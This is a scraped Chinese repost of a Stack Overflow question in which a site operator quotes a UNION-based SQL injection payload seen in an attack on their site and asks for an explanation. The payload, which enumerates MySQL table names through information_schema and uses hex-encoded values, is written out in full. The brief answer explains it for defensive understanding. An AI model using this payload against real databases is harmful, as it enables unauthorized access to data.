gpt4 book ai didi

sql - 你能解释一下这个 SQL 注入(inject)吗?

转载 作者:行者123 更新时间:2023-12-04 06:11:51 25 4
gpt4 key购买 nike

我工作的网站最近试图被以下 SQL 注入(inject)脚本入侵

boys' and 3=8 union 
select 1,
concat(0x232425,ifnull(`table_name`,0x30),char(9),ifnull(`table_rows`,0x30), char(9),0x252423),
3,4,5,6,7,8,9

from `information_schema`.`tables`

where table_schema=0x62646B3032 limit 44,1 -- And '8'='8

此注入(inject)返回 mysql 表名。这是由该网站上的错误报告系统报告的,我们设法修复了该部分,但是我无法理解上述注入(inject)是什么意思?

任何人都可以解释这个吗?

佩努埃尔

最佳答案

他们正在使用 mysql 服务器中的 Information Schema View 中的选择:

http://dev.mysql.com/doc/refman/5.0/en/information-schema.html

他们使用一些巧妙的技巧来破坏简单的 sql 注入(inject)预防技术。

关于sql - 你能解释一下这个 SQL 注入(inject)吗?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/3445910/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com